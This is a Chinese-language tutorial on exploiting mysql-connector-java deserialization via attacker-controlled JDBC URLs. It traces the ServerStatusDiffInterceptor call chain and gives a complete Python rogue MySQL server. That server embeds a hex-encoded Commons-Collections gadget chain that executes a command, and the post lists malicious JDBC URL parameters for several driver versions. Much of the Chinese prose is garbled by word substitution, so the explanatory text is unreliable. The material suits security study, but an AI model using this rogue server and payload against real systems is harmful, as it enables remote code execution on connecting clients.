2022年9月14日 · Java的序列化机制是通过实现java.io.Serializable接口来完成的。. 一个类实现了这个接口,它就可以被序列化。. 反序列化则是通过java.io.ObjectInputStream类来实现的。. Java反序列化的安全隐患紧张来自于对输入数据的不严谨检讨,可能导致远程代码实行等安全问题。. Java9引入了更安全的序列化机制,即java.io.
PHP序列化和反序列化:
Java序列化和反序列化:

Python序列化和反序列化:
序列化:Python的序列化是将Python工具转换为字节流的过程,以便存储或传输。Python供应了多种序列化模块,如pickle、json等。反序列化:Python的反序列化是将字节流转换回Python工具的过程。须要把稳的是,Python的pickle模块在处理繁芜数据时可能存在安全漏洞,因此不应反序列化来自不可信来源的数据。java详细先容:
首先导入依赖项到pom.xml
<dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.12</version></dependency><dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version></dependency>
JDBC(Java DataBase Connectivity)是 Java 与数据库之间的桥梁,是 Java 供应对数据库进行连接、操作的标准API。Java 自身并不会去实现对数据库的连接、查询、更新等操作,而是通过抽象出数据库操作的 API 接口,即 JDBC 。不同的数据库供应商必须实现 JDBC 定义的接口从而也就实现了对数据库的一系列操作。本文针对 MySQL 数据库
JDBC对数据库操作一样平常有以下步骤:
导入包含数据库编程所需的 JDBC 类的软件包。常日,利用 import java.sql.就足够了
初始化 JDBC 驱动程序(driver),以便您可以打开与数据库的通信通道。这个在不同版本有所差异,从 mysql-connector-java 6开始com.mysql.jdbc.Driver被弃用了,改用新的驱动com.mysql.cj.jdbc.Driver,然后利用Class.forName()方法加载即可
与数据库建立连接。利用DriverManager中的getConnection方法创建一个与数据库做事器的物理连接的 Connection 工具,通过JDBC url,用户名,密码来连接相应的数据库,而JDBC url的格式是:
jdbc:mysql://host:port/database_name?arg1=value1&arg2=value2...
实行数据库查询。须要利用 Statement 类型的工具来构建 SQL 语句并将其提交到数据库
清理:须要显式关闭所有数据库资源,而不是依赖 JVM 的垃圾回收。
代码示例如下:
import java.sql.; // 1.导入软件包public class Test { public static void main(String[] args) throws Exception { String driver = "com.mysql.cj.jdbc.Driver"; String DB_URL = "jdbc:mysql://127.0.0.1:3306/security?serverTimezone=UTC"; // serverTimezone设置时区 String username = "root"; String password = "root"; String sql = "select from users"; Class.forName(driver); // 2.初始化JDBC驱动程序(Driver) Connection conn = DriverManager.getConnection(DB_URL, username, password); // 3.与数据库建立连接 Statement statement = conn.createStatement(); // 4.1 创建Statement工具 ResultSet query = statement.executeQuery(sql); // 4.2 实行SQL查询 while (query.next()) { System.out.println(query.getString("id") + " : " + query.getString("username")); // 打印查询结果 } statement.close(); conn.close(); // 5.主动销毁,断开连接 }}
首先我们要触发反序列化攻击,就须要调用到readObject()方法,也便是要探求哪里调用了readObject()方法且参数可控
由这个思路可以找到ResultSetImpl#getObject()方法,个中这段代码里面就调用了readObject()
switch (field.getMysqlType()) { // 获取的字段的mysql类型必须为BIT case BIT: // 判断数据是不是blob或者二进制数据 if (!field.isBinary() && !field.isBlob()) { return field.isSingleBit() ? this.getBoolean(columnIndex) : this.getBytes(columnIndex); } else { byte[] data = this.getBytes(columnIndex); // 获取连接属性的autoDeserialize是否为true if (!(Boolean)this.connection.getPropertySet().getBooleanProperty("autoDeserialize").getValue()) { return data; } else { Object obj = data; if (data != null && data.length >= 2) { // 判断数据前两个字节是否为-84和-19,Java工具序列化数据的标志 if (data[0] != -84 || data[1] != -19) { return this.getString(columnIndex); } try { ByteArrayInputStream bytesIn = new ByteArrayInputStream(data); ObjectInputStream objIn = new ObjectInputStream(bytesIn); obj = objIn.readObject(); objIn.close(); bytesIn.close(); } catch (ClassNotFoundException var13) { throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + var13.toString() + Messages.getString("ResultSet._while_reading_serialized_object_92"), this.getExceptionInterceptor()); } catch (IOException var14) { obj = data; } } return obj; } }
要进入到里层调用readObject()要知足几个条件才行。这里参数还不可控,那么连续找哪里调用了getObject(),接着跟进到com.mysql.cj.jdbc.util.ResultSetUtil#resultSetToMap(),如果这里的rs变量传入的是ResultSetImpl工具的话,就可以调用到最上面的getObject方法
public static void resultSetToMap(Map mappedValues, ResultSet rs) throws SQLException { while(rs.next()) { mappedValues.put(rs.getObject(1), rs.getObject(2)); }}
接着连续找哪里调用了该方法,跟进com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues(),它在内部调用了resultSetToMap()
private void populateMapWithSessionStatusValues(Map<String, String> toPopulate) { Statement stmt = null; ResultSet rs = null; try { try { toPopulate.clear(); stmt = this.connection.createStatement(); rs = stmt.executeQuery("SHOW SESSION STATUS"); ResultSetUtil.resultSetToMap(toPopulate, rs); } finally { if (rs != null) { rs.close(); } if (stmt != null) { stmt.close(); } } } catch (SQLException var8) { throw ExceptionFactory.createException(var8.getMessage(), var8); }}
连续找哪里调用了populateMapWithSessionStatusValues(),末了我们找到了ServerStatusDiffInterceptor#preProcess()方法而调用preProcess()比较分外。先要理解一个参数queryInterceptors,这个参数详细参考 【官方文档(https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-connp-props-statements.html#cj-conn-prop_queryInterceptors)】
大略来说参数queryInterceptors便是指定一个或者多个实现了com.mysql.cj.interceptors.QueryInterceptor接口的类,然后在进行SQL查询操作之前,实行该类中的一个方法从而来影响终极的查询结果,而这个方法便是preProcess方法。(在查询完之后,还会调用其postProcess方法在此进行一个处理)
因此在 JDBC URL 中设定属性queryInterceptors为ServerStatusDiffInterceptor时,实行查询语句会调用拦截器的preProcess()方法,进而通过上述调用链终极调用readObject()方法。而通过JDBC连接数据库的时候,会有几个内置的SQL语句会被实行。
这里我们可以本地测试验证一下,这里利用wireshark
然后写一个大略的demo连接本地数据库
import java.sql.;public class Test { public static void main(String[] args) throws Exception { String driver = "com.mysql.cj.jdbc.Driver"; String DB_URL = "jdbc:mysql://127.0.0.1:3306/security?serverTimezone=UTC&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"; String username = "root"; String password = "root"; Class.forName(driver); Connection conn = DriverManager.getConnection(DB_URL, username, password); conn.close(); }}
然后利用tcp.port ==3306 && mysql 来过滤协议,就可以看到这个过程了
结合上面的剖析,如果参数和JDBC url可控,就能实行反序列化,存在CC和CB链的反序列化漏洞时就可以进行漏洞利用。而这个参数便是查询语句的结果集,因此如果JDBC url可控,我们就可以让它连接任意Mysql做事器,就可以搭建恶意MySQL做事器来掌握这两个查询的结果集,结合掌握JDBC url中的连接设置项,就可以构成JDBC反序列化漏洞
恶意MySQL编写接下来须要做的便是写一个假的恶意MySQL做事,当目标主机连接到恶意MySQL做事进行查询时,返回布局好的数据。
这里难点便是返回什么数据,这里紧张考虑show session status相应包的编写,前面的过程按照wireshark抓包的过程直接引用下来
对付查询数据包的相应包可以分为四种:缺点包(ERR Packet)、精确包(OK Packet)、 Protocol::LOCAL_INFILE_Request、结果集(ProtocolText::Resultset)。这部分我们须要布局的是结果集这种数据包。
这里偷了张大佬图,结果集相应包构造如下图所示
在wireshark可以看到这些数据段
数据段1 column count:解释下面的结果集有多少列数据段2 field packet:列的定义数据段3 intermedate EOF: EOF 包数据段4 row packet:行数据。数据段5 response EOF : EOF包
个中各字节代表的含义再次不做过多先容,由于wireshark清晰的显示了哪些字节表示什么含义
这里就显示了这三个字节表示包数据长度为1
这里关注我们布局好的payload放哪能被反序列化到,也便是结果集在包中怎么存在的,查看本地测试的流量包可以创造,查询到的数据是放在row packet里面的,row packet的前三个字节表示长度,第四个字节表示包序号,第五个字节表示行数据的长度。那么布局关键就在这里
mysql_data = ""column_count = "0100000102"field_packet1 = "4e0000020364656612696e666f726d6174696f6e5f736368656d6106535441545553065354415455530d5661726961626c655f6e616d650d5641524941424c455f4e414d450c2100c0000000fd0100000000"field_packet2 = "470000030364656612696e666f726d6174696f6e5f736368656d6106535441545553065354415455530556616c75650e5641524941424c455f56414c55450c2100000c0000fd0000000000"intermediate_EOF = "05000004fe00002200"row_packet = ""response_EOF = "0500003dfe00000200"# 获取payloadpayload_content = get_payload_content()# 打算payload长度payload_length = str(hex(len(payload_content) // 2)).replace('0x', '').zfill(4)payload_length_hex = payload_length[2:4] + payload_length[0:2]# 打算数据包长度data_len = str(hex(len(payload_content) // 2 + 4)).replace('0x', '').zfill(6)data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]row_packet += data_len_hex + '04' + 'fbfc' + payload_length_hexrow_packet += str(payload_content)mysql_data = column_count + field_packet1 + field_packet2 + intermediate_EOF + row_packet + response_EOF
上面先容payload前面那个字节表示payload的长度,如果说payload过长,须要两个或者多个字节来表示长度的话,就须要在前面加上一个fc
终极fakeMySQL做事器代码为,这里参考大佬的自己写了一个
import binasciiimport socketgreeting_data = "4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"response_OK_data = "0700000100000002000000"session_auto_increment_increment_data = "01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c21000c000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c21002d000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210006000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21007e000000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a00000000005000015fe0000020098000016013104757466380475746638047574663804757466380f757466385f67656e6572616c5f6369000532383830300347504c013107313034383537360236300130024f4e2a4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce40653595354454d0f52455045415441424c452d5245414405323838303005000017fe00000200"show_warnings_data = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'def run(): # 被动接管TCP客户端连接,(壅塞式)等待连接的到来,conn是新的套接字工具,用户收发数据,addr是连接客户真个地址 conn, addr = s.accept() print("Connection come from {}:{}".format(addr[0], addr[1])) # 做事端发送greeting报文 send_data(conn, greeting_data) # 登录认证过程仿照 1.客户端发送request login报文 2.做事端相应response_ok receive_data(conn) send_data(conn, response_OK_data) # 仿照后面的交互过程 while 1: # 吸收报文 data = receive_data(conn) response_data = "" # 判断客户端操作,相应对应内容 if "session.auto_increment_increment" in data: response_data = session_auto_increment_increment_data elif "show warnings" in data: response_data = show_warnings_data elif "set character_set_results" in data or "set names" in data: response_data = response_OK_data elif "show session status" in data: response_data = get_payload_data() else: break send_data(conn, response_data)def send_data(conn, data): print("[] Sending the package : {}".format(data)) # 发送TCP数据,参数为string; a2b_hex()将16进制转换为字符串 conn.send(binascii.a2b_hex(data))def receive_data(conn): # 接管TCP套接字的数据,以字符串形式返回 data = conn.recv(1024) print("[] Receiving the package : {}".format(data)) return str(data).lower()def get_payload_content(): # 天生的序列化数据到文件 file = "payload" try: with open(file, 'rb') as f: payload_content = str(binascii.b2a_hex(f.read()), encoding='utf-8') print("[+] open successs") except: payload_content = 'aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878' print("[!] open false, by default") return payload_contentdef get_payload_data(): column_count = "0100000102" field_packet1 = "1a000002036465660001630163016301630c3f00ffff0000fc9000000000" field_packet2 = "1a000003036465660001630163016301630c3f00ffff0000fc9000000000" intermediate_EOF = "" # 这里加了EOF不能成功调用,怪,目前预测数据包校验问题,还没考试测验 row_packet = "" response_EOF = "0500003dfe00000200" # 获取payload payload_content = get_payload_content() # 打算payload长度 payload_length = str(hex(len(payload_content) // 2)).replace('0x', '').zfill(4) payload_length_hex = payload_length[2:4] + payload_length[0:2] # 打算数据包长度 data_len = str(hex(len(payload_content) // 2 + 4)).replace('0x', '').zfill(6) data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2] row_packet += data_len_hex + '04' + 'fbfc' + payload_length_hex row_packet += str(payload_content) mysql_data = column_count + field_packet1 + field_packet2 + intermediate_EOF + row_packet + response_EOF return mysql_dataif __name__ == '__main__': host = "0.0.0.0" port = 3309 # 创建socket工具,面向网络的TCP套接字 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 设置给定套接字选项的值, SO_REUSEADDR表示许可重用本地地址和端口,为了实验的时候不用等待很永劫光 s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # 绑定地址(host,port)到套接字 s.bind((host, port)) # 开始 TCP 监听,等待客户端连接,参数是 backlog 指定在谢绝连接之前,操作系统可以挂起的最大连接数量 s.listen(1) print("start fake mysql server listening on {}:{}".format(host, port)) run()
Java Client代码为
import java.sql.;public class Test { public static void main(String[] args) throws Exception{ String driver = "com.mysql.cj.jdbc.Driver"; String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?serverTimezone=UTC&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"; Class.forName(driver); Connection conn = DriverManager.getConnection(DB_URL); conn.close(); }}
8.x
上面便是用8.0.12剖析的
jdbc:mysql://127.0.0.1:3309/mysql?serverTimezone=UTC&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
6.x
参数名不同,queryInterceptors 换为 statementInterceptors
jdbc:mysql://127.0.0.1:3309/mysql?serverTimezone=UTC&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
>=5.1.11的5.x
旧的驱动包名中没有cj
jdbc:mysql://127.0.0.1:3309/mysql?serverTimezone=UTC&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
5.x <= 5.1.10
连接到数据库后还须要额外实行查询
5.1.29 - 5.1.40
jdbc:mysql://127.0.0.1:3309/mysql?detectCustomCollations=true&autoDeserialize=true
5.1.28 - 5.1.19
jdbc:mysql://127.0.0.1:3309/mysql?autoDeserialize=true